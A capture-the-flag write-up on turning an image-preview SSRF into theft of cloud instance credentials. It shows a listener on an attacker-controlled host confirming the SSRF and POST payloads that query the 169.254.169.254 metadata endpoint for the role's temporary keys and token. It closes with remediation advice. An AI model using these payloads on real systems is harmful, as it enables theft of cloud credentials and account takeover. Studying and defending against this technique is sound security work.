← back to writeups

From a "harmless" SSRF to stolen cloud credentials

An image-preview feature that accepts an arbitrary URL. Seemingly harmless—until you point it inward.

The app offers to preview a remote image by pasting its URL. The server fetches it itself. That's exactly the pattern of a Server-Side Request Forgery: you don't just control an image, you control a request issued from the server, with its network privileges.

Confirm the SSRF

We point the preview at a collector we control and watch the incoming connection: the server's egress IP, headers, User-Agent. The request really does come from the backend, not the browser.

$ nc -lvnp 8000
listening on [any] 8000 ...
connect from 10.0.3.14
GET / HTTP/1.1
Host: attacker.example:8000
User-Agent: imgproxy/1.9 (+internal-fetcher)
// why this is serious The backend can reach internal resources an external client never sees: private services, databases, and—on many clouds—an unauthenticated metadata endpoint.

Pivot to the metadata

On an unhardened cloud instance, the link-local address 169.254.169.254 exposes instance metadata, including temporary credentials attached to the machine's role. We simply request a preview of this "image":

POST /preview
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# response: role name -> then
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role
# -> temporary AccessKeyId, SecretAccessKey, Token
! real impact These credentials inherit the instance role's permissions. Depending on the policy, that ranges from reading a bucket to near-total control of the account. An "image preview" becomes an identity compromise.

The flag

In the lab, the role granted access to a bucket containing the flag:

flag captured flag{169.254.169.254_1s_n0t_y0ur_fr13nd}

Fix it, for real

  • IMDSv2 (mandatory token-based session + a TTL hop limit) neutralizes most SSRF-to-metadata. Enforce it, don't just offer it.
  • Strict allow-list of hosts/schemes on the fetcher side, validated DNS resolution, and blocking of private and link-local ranges (169.254.0.0/16, 127.0.0.0/8, RFC 1918).
  • Watch out for DNS rebinding and redirects: validate the IP after resolution, on every hop.
  • Least privilege on the instance role: if the token leaks, the impact should stay minimal.
An SSRF "only" fires requests. But inside an infrastructure, a request in the right place is worth a password.